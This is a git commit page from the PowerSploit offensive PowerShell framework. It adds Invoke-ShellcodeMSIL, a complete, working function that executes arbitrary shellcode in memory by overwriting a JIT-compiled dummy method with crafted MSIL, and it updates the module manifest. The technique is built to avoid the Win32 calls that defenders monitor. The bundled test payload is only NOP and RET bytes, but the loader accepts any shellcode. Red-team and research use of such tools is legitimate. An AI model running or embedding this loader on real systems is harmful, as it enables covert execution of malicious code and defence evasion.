aboutsummaryrefslogtreecommitdiff
path: root/CodeExecution
diff options
context:
space:
mode:
authorMatt Graeber <mattgraeber@gmail.com>2013-04-05 14:06:58 -0400
committerMatt Graeber <mattgraeber@gmail.com>2013-04-05 14:06:58 -0400
commit014a7bb421477a18add25164d71e977574832c14 (patch)
tree30f40fa625a3824fa4ef4cebf412e0033dabf8de /CodeExecution
parent1e79c0f7938159e428e073eddb5e0a7a38701580 (diff)
downloadPowerSploit-014a7bb421477a18add25164d71e977574832c14.tar.gz
PowerSploit-014a7bb421477a18add25164d71e977574832c14.zip
Adding Invoke-ShellcodeMSIL
Invoke-ShellcodeMSIL executes shellcode without making any Win32 function calls.
Diffstat (limited to 'CodeExecution')
-rw-r--r--CodeExecution/CodeExecution.psd1174
-rw-r--r--CodeExecution/Invoke-ShellcodeMSIL.ps1270
2 files changed, 357 insertions, 87 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1
index a21f9ea..43360de 100644
--- a/CodeExecution/CodeExecution.psd1
+++ b/CodeExecution/CodeExecution.psd1
@@ -1,88 +1,88 @@
-@{
-
-# Script module or binary module file associated with this manifest.
-ModuleToProcess = 'CodeExecution.psm1'
-
-# Version number of this module.
-ModuleVersion = '1.0.0.0'
-
-# ID used to uniquely identify this module
-GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
-
-# Author of this module
-Author = 'Matthew Graeber'
-
-# Company or vendor of this module
-CompanyName = ''
-
-# Copyright statement for this module
-Copyright = 'BSD 3-Clause'
-
-# Description of the functionality provided by this module
-Description = 'PowerSploit Code Execution Module'
-
-# Minimum version of the Windows PowerShell engine required by this module
-PowerShellVersion = '2.0'
-
-# Name of the Windows PowerShell host required by this module
-# PowerShellHostName = ''
-
-# Minimum version of the Windows PowerShell host required by this module
-# PowerShellHostVersion = ''
-
-# Minimum version of the .NET Framework required by this module
-# DotNetFrameworkVersion = ''
-
-# Minimum version of the common language runtime (CLR) required by this module
-# CLRVersion = ''
-
-# Processor architecture (None, X86, Amd64) required by this module
-# ProcessorArchitecture = ''
-
-# Modules that must be imported into the global environment prior to importing this module
-# RequiredModules = @()
-
-# Assemblies that must be loaded prior to importing this module
-# RequiredAssemblies = @()
-
-# Script files (.ps1) that are run in the caller's environment prior to importing this module.
-# ScriptsToProcess = ''
-
-# Type files (.ps1xml) to be loaded when importing this module
-# TypesToProcess = @()
-
-# Format files (.ps1xml) to be loaded when importing this module
-# FormatsToProcess = @()
-
-# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
-# NestedModules = @()
-
-# Functions to export from this module
-FunctionsToExport = '*'
-
-# Cmdlets to export from this module
-CmdletsToExport = '*'
-
-# Variables to export from this module
-VariablesToExport = ''
-
-# Aliases to export from this module
-AliasesToExport = ''
-
-# List of all modules packaged with this module.
-ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
-
-# List of all files packaged with this module
-FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
- 'Usage.md'
-
-# Private data to pass to the module specified in RootModule/ModuleToProcess
-# PrivateData = ''
-
-# HelpInfo URI of this module
-# HelpInfoURI = ''
-
-# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
-# DefaultCommandPrefix = ''
-
+@{
+
+# Script module or binary module file associated with this manifest.
+ModuleToProcess = 'CodeExecution.psm1'
+
+# Version number of this module.
+ModuleVersion = '1.0.0.0'
+
+# ID used to uniquely identify this module
+GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
+
+# Author of this module
+Author = 'Matthew Graeber'
+
+# Company or vendor of this module
+CompanyName = ''
+
+# Copyright statement for this module
+Copyright = 'BSD 3-Clause'
+
+# Description of the functionality provided by this module
+Description = 'PowerSploit Code Execution Module'
+
+# Minimum version of the Windows PowerShell engine required by this module
+PowerShellVersion = '2.0'
+
+# Name of the Windows PowerShell host required by this module
+# PowerShellHostName = ''
+
+# Minimum version of the Windows PowerShell host required by this module
+# PowerShellHostVersion = ''
+
+# Minimum version of the .NET Framework required by this module
+# DotNetFrameworkVersion = ''
+
+# Minimum version of the common language runtime (CLR) required by this module
+# CLRVersion = ''
+
+# Processor architecture (None, X86, Amd64) required by this module
+# ProcessorArchitecture = ''
+
+# Modules that must be imported into the global environment prior to importing this module
+# RequiredModules = @()
+
+# Assemblies that must be loaded prior to importing this module
+# RequiredAssemblies = @()
+
+# Script files (.ps1) that are run in the caller's environment prior to importing this module.
+# ScriptsToProcess = ''
+
+# Type files (.ps1xml) to be loaded when importing this module
+# TypesToProcess = @()
+
+# Format files (.ps1xml) to be loaded when importing this module
+# FormatsToProcess = @()
+
+# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
+# NestedModules = @()
+
+# Functions to export from this module
+FunctionsToExport = '*'
+
+# Cmdlets to export from this module
+CmdletsToExport = '*'
+
+# Variables to export from this module
+VariablesToExport = ''
+
+# Aliases to export from this module
+AliasesToExport = ''
+
+# List of all modules packaged with this module.
+ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
+
+# List of all files packaged with this module
+FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
+ 'Invoke-ShellcodeMSIL.ps1', 'Usage.md'
+
+# Private data to pass to the module specified in RootModule/ModuleToProcess
+# PrivateData = ''
+
+# HelpInfo URI of this module
+# HelpInfoURI = ''
+
+# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
+# DefaultCommandPrefix = ''
+
} \ No newline at end of file
diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1
new file mode 100644
index 0000000..8b70d7c
--- /dev/null
+++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1
@@ -0,0 +1,270 @@
+function Invoke-ShellcodeMSIL
+{
+<#
+.SYNOPSIS
+
+ Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
+
+ PowerSploit Function: Invoke-ShellcodeMSIL
+ Author: Matthew Graeber (@mattifestation)
+ License: BSD 3-Clause
+ Required Dependencies: None
+ Optional Dependencies: None
+
+.DESCRIPTION
+
+ Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
+
+.PARAMETER Shellcode
+
+ Specifies the shellcode to be executed.
+
+.EXAMPLE
+
+ C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
+
+ Description
+ -----------
+ Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
+ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
+
+.NOTES
+
+ Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
+
+ Use the '-Verbose' option to print detailed information.
+
+.LINK
+
+ http://www.exploit-monday.com
+#>
+
+ [CmdletBinding()] Param (
+ [Parameter( Mandatory = $True )]
+ [ValidateNotNullOrEmpty()]
+ [Byte[]]
+ $Shellcode
+ )
+
+ function Get-MethodAddress
+ {
+ [CmdletBinding()] Param (
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+ [System.Reflection.MethodInfo]
+ $MethodInfo
+ )
+
+ if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
+ {
+ Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
+ }
+
+ try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
+ {
+ if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
+
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
+ # Assemble in memory
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
+ $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
+ # Declaration of the LeakMethod method
+ $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
+ $Generator = $MethodBuilder.GetILGenerator()
+
+ # Push unmanaged pointer to MethodInfo onto the evaluation stack
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
+
+ # Assemble everything
+ $Type = $TypeBuilder.CreateType()
+ }
+
+ $Method = $Type.GetMethod('LeakMethod')
+
+ try
+ {
+ # Call the method and return its JITed address
+ $Address = $Method.Invoke($null, @())
+
+ Write-Output (New-Object IntPtr -ArgumentList $Address)
+ }
+ catch [System.Management.Automation.MethodInvocationException]
+ {
+ Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
+ }
+ }
+
+#region Define the method that will perform the overwrite
+ try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
+ {
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
+ $Constructor = $Att.GetType().GetConstructors()[0]
+ $ObjectArray = New-Object System.Object[](0)
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+ $AssemblyBuilder.SetCustomAttribute($AttribBuilder)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
+ $ModAtt = New-Object System.Security.UnverifiableCodeAttribute
+ $Constructor = $ModAtt.GetType().GetConstructors()[0]
+ $ObjectArray = New-Object System.Object[](0)
+ $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+ $ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
+ $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
+ $Params = New-Object System.Type[](3)
+ $Params[0] = [IntPtr]
+ $Params[1] = [IntPtr]
+ $Params[2] = [Int32]
+ $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
+ $Generator = $MethodBuilder.GetILGenerator()
+ # The following MSIL opcodes are effectively a memcpy
+ # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
+
+ $SmasherType = $TypeBuilder.CreateType()
+ }
+
+ $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
+#endregion
+
+#region Define the method that we're going to overwrite
+ try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
+ {
+ $Domain = [AppDomain]::CurrentDomain
+ $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
+ $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+ $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
+ $Constructor = $Att.GetType().GetConstructors()[0]
+ $ObjectArray = New-Object System.Object[](0)
+ $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+ $AssemblyBuilder.SetCustomAttribute($AttribBuilder)
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
+ $ModAtt = New-Object System.Security.UnverifiableCodeAttribute
+ $Constructor = $ModAtt.GetType().GetConstructors()[0]
+ $ObjectArray = New-Object System.Object[](0)
+ $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+ $ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
+ $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
+ $Params = New-Object System.Type[](1)
+ $Params[0] = [Int]
+ $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
+ $Generator = $MethodBuilder.GetILGenerator()
+ $XorValue = 0x41424344
+ $Generator.DeclareLocal([Int]) | Out-Null
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
+ # The following MSIL opcodes serve two purposes:
+ # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
+ # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
+ foreach ($CodeBlock in 1..100)
+ {
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
+ $XorValue++
+ }
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
+ $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
+ $Type = $TypeBuilder.CreateType()
+ }
+
+ $TargetMethod = $Type.GetMethod('OverwriteMe')
+#endregion
+
+ # Force the target method to be JITed so that is can be cleanly overwritten
+ Write-Verbose 'Forcing target method to be JITed...'
+
+ foreach ($Exec in 1..20)
+ {
+ $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
+ }
+
+ if ( [IntPtr]::Size -eq 4 )
+ {
+ # x86 Shellcode stub
+ $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
+ <#
+ 00000000 60 pushad
+ 00000001 E804000000 call dword 0xa
+ 00000006 61 popad
+ 00000007 31C0 xor eax,eax
+ 00000009 C3 ret
+ YOUR SHELLCODE WILL BE PLACED HERE...
+ #>
+
+ Write-Verbose 'Preparing x86 shellcode...'
+ }
+ else
+ {
+ # x86_64 shellcode stub
+ $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
+ 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
+ 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
+ 0x31,0xC0,0xC3)
+ <#
+ 00000000 4154 push r12
+ 00000002 4155 push r13
+ 00000004 4156 push r14
+ 00000006 4157 push r15
+ 00000008 55 push rbp
+ 00000009 E80D000000 call dword 0x1b
+ 0000000E 5D pop rbp
+ 0000000F 415F pop r15
+ 00000011 415E pop r14
+ 00000013 415D pop r13
+ 00000015 415C pop r12
+ 00000017 4831C0 xor rax,rax
+ 0000001A C3 ret
+ YOUR SHELLCODE WILL BE PLACED HERE...
+ #>
+
+ Write-Verbose 'Preparing x86_64 shellcode...'
+ }
+
+ # Append user-provided shellcode.
+ $FinalShellcode += $Shellcode
+
+ # Allocate pinned memory for our shellcode
+ $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
+
+ Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
+
+ # Copy the original shellcode bytes into the pinned, unmanaged memory.
+ # Note: this region of memory if marked PAGE_READWRITE
+ [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
+
+ $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
+
+ Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
+ Write-Verbose 'Overwriting dummy method with the shellcode...'
+
+ $Arguments = New-Object Object[](3)
+ $Arguments[0] = $TargetMethodAddress
+ $Arguments[1] = $ShellcodeAddress
+ $Arguments[2] = $FinalShellcode.Length
+
+ # Overwrite the dummy method with the shellcode opcodes
+ $OverwriteMethod.Invoke($null, $Arguments)
+
+ Write-Verbose 'Executing shellcode...'
+
+ # 'Invoke' our shellcode >D
+ $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
+
+ if ($ShellcodeReturnValue -eq 0)
+ {
+ Write-Verbose 'Shellcode executed successfully!'
+ }
+}
+
+$Shellcode = [Byte[]]@(0x90,0x90,0x90,0x90,0x90,0x90,0xC3)
+Invoke-ShellcodeMSIL -Shellcode $Shellcode -Verbose \ No newline at end of file